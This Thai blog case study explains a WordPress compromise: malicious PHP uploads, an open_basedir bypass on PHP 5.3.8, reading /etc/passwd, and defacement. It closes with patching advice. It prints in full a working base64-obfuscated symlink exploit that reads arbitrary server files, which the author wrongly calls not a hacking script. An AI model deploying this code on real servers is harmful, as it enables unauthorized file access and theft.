Case Study: Web sites hacked, WordPress โดนแฮก และการแกะรอยแฮกเกอร์ (FingerPrint)

เหยื่อหรือเครื่องเป้าหมาย: your domain
การหาเหยื่อหาได้ไม่ยากครับ เครื่องมือต่างๆ เช่น Vulnerability Scanner, Sucurity Site Check Scanner อื่นๆ Google มีเยอะ

แฮกเกอร์:

ลักษณะการแฮก คือผู้ไม่หวังดีทำการอัพโหลดไฟล์ PHP สคริปต์ที่เขียนขึ้นเอง (ตัวอย่าง) ผ่านช่องโหว่ของปลั๊กอินสคริปต์อัพโหลดของ WordPress (“wp-content/uploads”) ขึ้นไปยังเว็บโฮสติ้ง โดยใช้ช่องโหว่ของ PHP 5.3.8 (exploits and vulnerabilities) ทำการ bypass ฟังก์ชั่น open_baseddir ให้เป็น Off (php.ini) หรือสมัครสมาชิกบนเว็บไซต์หลอกๆ แล้วเจาะช่องโหว่ผ่านยูสเซอร์ ทำให้สคริปต์สามารถทำงานทำงานบนไดร์เรกทอรีอื่นๆ ได้อีก คือยุ่มย่ามไปทั่วไดร์เรกทอรีเว็บไซต์ได้ตามสบาย เช่น การใช้เขียนสคริปต์คำสั่ง PHP ไปนำข้อมูลในไฟล์ “cat /etc/passwd” หรือการทำลิงก์ไปยัง / รูทไดเรกทอรี แล้วเขียน .htaccess ให้แสดงไฟล์ต่างบนเบราว์เซอร์ ลักษณ์นี้เรียกว่า PHP filesystem attacked สิ่งเหล่านี้แฮกเกอร์ล้วนใช้ประโยชน์จากช่องโหว่ของแอพพลิเคชั่น หรือใช้วิธีการที่เรียกกันว่า SQL Injection (การเจาะเข้าไปในระบบ) เพื่อเปลี่ยนแปลงข้อมูลเว็บไซต์และแสดงข้อมูลใหม่ต่อสายตาผู้เยี่ยมชมเว็บไซต์ ส่วนมากจะเป็นรูปภาพ หรือถ้อยคำไม่สุขภาพ เป็นต้น

ตัวอย่างโค๊ด [PHP 5.3.8 open_basedi() Bypass]: (ไม่ใช่สคริปต์สำหรับแฮก) ไป Base64 ดูโค๊ดกันเองนะครับ

<br /><?php<br />/*<br /><%%KEEPWHITESPACE%%> * PHP 5.3.8 open_basedi() Bypasser<br /><%%KEEPWHITESPACE%%> *<br /><%%KEEPWHITESPACE%%> * Greetz: r0073r ( 1337day.com ), r4dc0re,Sid3^effects       & all members of r00tw0rm.com<br /><%%KEEPWHITESPACE%%> *<br /><%%KEEPWHITESPACE%%> * By CrosS<br /><%%KEEPWHITESPACE%%> * Only for Educational Purpose ))<br /><%%KEEPWHITESPACE%%> * Submit your exploits at > [email protected]<br /><%%KEEPWHITESPACE%%> *<br />*/<br />eval(base64_decode('JGZha2VkaXI9ImN4IjsNCiRmYWtlZGVwPTE2Ow0KDQokbnVtPTA7IC8vIG9mZnNldCBvZiBzeW1saW5rLiRudW0NCg0KaWYoIWVtcHR5KCRfR0VUWydmaWxlJ10pKSAkZmlsZT0kX0dFVFsnZmlsZSddOw0KZWxzZSBpZighZW1wdHkoJF9QT1NUWydmaWxlJ10pKSAkZmlsZT0kX1BPU1RbJ2ZpbGUnXTsNCmVsc2UgJGZpbGU9IiI7DQoNCmVjaG8gJzxQUkU+PGltZyBzcmM9Imh0dHA6Ly93d3cucjAwdHcwcm0uY29tL2xvZ28ucG5nIj48UD48YQ0KaHJlZj0iaHR0cDovL3IwMHR3MHJtLmNvbS8iIHRpdGxlPSJSMDBUVzBSTSAtIFBIUCBTeW1saW5rKCkgQnlwYXNzZXIiPlIwMFRXMFJNIC0gUEhQIFN5bWxpbmsoKSBCeXBhc3NlcjwvYT4NCkF1dGhvciA6IENyb3NTDQo8cD5Gb3IgRWR1Y2F0aW9uYWwgUHVycG9zZSBPbmx5IEx1bHoNCjxwPlBIUCA1LjMuOCBzeW1saW5rIG9wZW5fYmFzZWRpciBieXBhc3MNCjxwPk1vcmU6IDxhIGhyZWY9Imh0dHA6Ly9yMDB0dzBybS5jb20vIj5SMDBUVzBSTSAtIFByaXZhdGUgQ29tbXVuaXR5PC9hPg0KPHA+PGZvcm0gbmFtZT0iZm9ybSINCiBhY3Rpb249Imh0dHA6Ly8nLiRfU0VSVkVSWyJIVFRQX0hPU1QiXS5odG1sc3BlY2lhbGNoYXJzKCRfU0VSVkVSWyJQSFBfU0VMRiJdKS4nIiBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmaWxlIiBzaXplPSI1MCIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkZmlsZSkuJyI+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iaHltIiB2YWx1ZT0iQ3JlYXRlIFN5bWxpbmsiPjwvZm9ybT4nOw0KDQppZihlbXB0eSgkZmlsZSkpDQoJZXhpdDsNCg0KaWYoIWlzX3dyaXRhYmxlKCIuIikpDQoJZGllKCJub3Qgd3JpdGFibGUgZGlyZWN0b3J5Iik7DQoNCiRsZXZlbD0wOw0KDQpmb3IoJGFzPTA7JGFzPCRmYWtlZGVwOyRhcysrKXsNCglpZighZmlsZV9leGlzdHMoJGZha2VkaXIpKQ0KCQlta2RpcigkZmFrZWRpcik7DQoJY2hkaXIoJGZha2VkaXIpOw0KfQ0KDQp3aGlsZSgxPCRhcy0tKSBjaGRpcigiLi4iKTsNCg0KJGhhcmRzdHlsZSA9IGV4cGxvZGUoIi8iLCAkZmlsZSk7DQoNCmZvcigkYT0wOyRhPGNvdW50KCRoYXJkc3R5bGUpOyRhKyspew0KCWlmKCFlbXB0eSgkaGFyZHN0eWxlWyRhXSkpew0KCQlpZighZmlsZV9leGlzdHMoJGhhcmRzdHlsZVskYV0pKSANCgkJCW1rZGlyKCRoYXJkc3R5bGVbJGFdKTsNCgkJY2hkaXIoJGhhcmRzdHlsZVskYV0pOw0KCQkkYXMrKzsNCgl9DQp9DQokYXMrKzsNCndoaWxlKCRhcy0tKQ0KCWNoZGlyKCIuLiIpOw0KDQpAcm1kaXIoImZha2VzeW1saW5rIik7DQpAdW5saW5rKCJmYWtlc3ltbGluayIpOw0KDQpAc3ltbGluayhzdHJfcmVwZWF0KCRmYWtlZGlyLiIvIiwkZmFrZWRlcCksImZha2VzeW1saW5rIik7DQoNCi8vIHRoaXMgbG9vcCB3aWxsIHNraXAgYWxscmVhZHkgY3JlYXRlZCBzeW1saW5rcy4NCndoaWxlKDEpDQoJaWYodHJ1ZT09KEBzeW1saW5rKCJmYWtlc3ltbGluay8iLnN0cl9yZXBlYXQoIi4uLyIsJGZha2VkZXAtMSkuJGZpbGUsICJzeW1saW5rIi4kbnVtKSkpIGJyZWFrOw0KCWVsc2UgJG51bSsrOw0KDQpAdW5saW5rKCJmYWtlc3ltbGluayIpOw0KbWtkaXIoImZha2VzeW1saW5rIik7DQoNCmRpZSgnPEZPTlQgQ09MT1I9IlJFRCI+Y2hlY2sgc3ltbGluayA8YSBocmVmPSIuL3N5bWxpbmsnLiRudW0uJyI+c3ltbGluaycuJG51bS4nPC9hPiBmaWxlPC9GT05UPicpOw=='));<br />?><br />

ผลเสีย:

แน่นอนครับ ถ้าแก้ไขปัญหาได้เร็วก็โชดดีไปแล้ว แต่ถ้าไม่ทันการ กลุ่มแฮกเกอร์ก็จะประจานชื่อโดเมนเราต่อสายตาชาวโลก (แถมบันทึกชื่อเว็บไซต์ลงฐานข้อมูลให้ฟรีอีกต่างหากครับ)

แนวทางป้องกัน:

Webmaster: ครรอัพเดท CMS และ Plugin ที่ใช้งานอย่างสม่ำเสมอ (และก่อนอัพเดทควรตรวจสอบก่อนว่าเว็บเซิ์รฟเวอร์รองรับการทำงานหรือเปล่า)

Hosting Provider: เว็บเซิร์ฟเวอร์ควรทำ Critical Patch Update หรือ Security Alert อย่างสม่ำเสมอ (เช่น PHP, Apache) และติดตามข่าวสาร exploit and vulnerability เพื่อรู้ทันแฮกเกอร์ (โดยปกติแล้วเหล่าแฮกเกอร์จะ submit exploits โชว์อยู่แล้ว)

แพตช์ด้านความปลอดภัย
Critical Patch Update เป็นแพตซ์รุ่นมาตรฐานแล้วแต่บริษัทจะกำหนดระยะเวลาออกแพตซ์สำหรับซอฟต์แวร์นั้นๆ
Security Alert เป็นแพตซ์สำหรับแก้ไขปัญหาเฉพาะหน้าเป็นจุดๆ ไปเมื่อมีการค้นพบช่องโหว่สำคัญ

สุดท้าย ไม่ว่าผู้ให้บริการเว็บโฮสติ้งจะระบบดีแค่ไหน เช่น การใช้เทคโนโลยีกลุ่มเมฆทำการกระจายโหลดโดยอัตโนมัติ (Cloud Technology) หรือระบบ HA ทั่วไป หากเว็บไซต์ยังขับเคลื่อนโดย CMS ผู้รับผิดชอบ (Webmaster) หรือ Web Developer (Outsource) ต้องใส่ใจเป็นพิเศษเรื่องความปลอดภัย

2 Responses to Case Study: Web sites hacked, WordPress โดนแฮก และการแกะรอยแฮกเกอร์ (FingerPrint)

  1. อยากทราบมากค่าว่าต้องทำอย่างไร….รบกวนขอความกรุณาด้วยค่ะ

  2. SONTAYA says:

    อ่านบทความด้านล่างนี้นะครับ
    //blog.susethailand.com/?p=2829
    //blog.susethailand.com/?p=2841

Leave a Reply

Your email address will not be published. Required fields are marked *

Please validate : * Time limit is exhausted. Please reload CAPTCHA.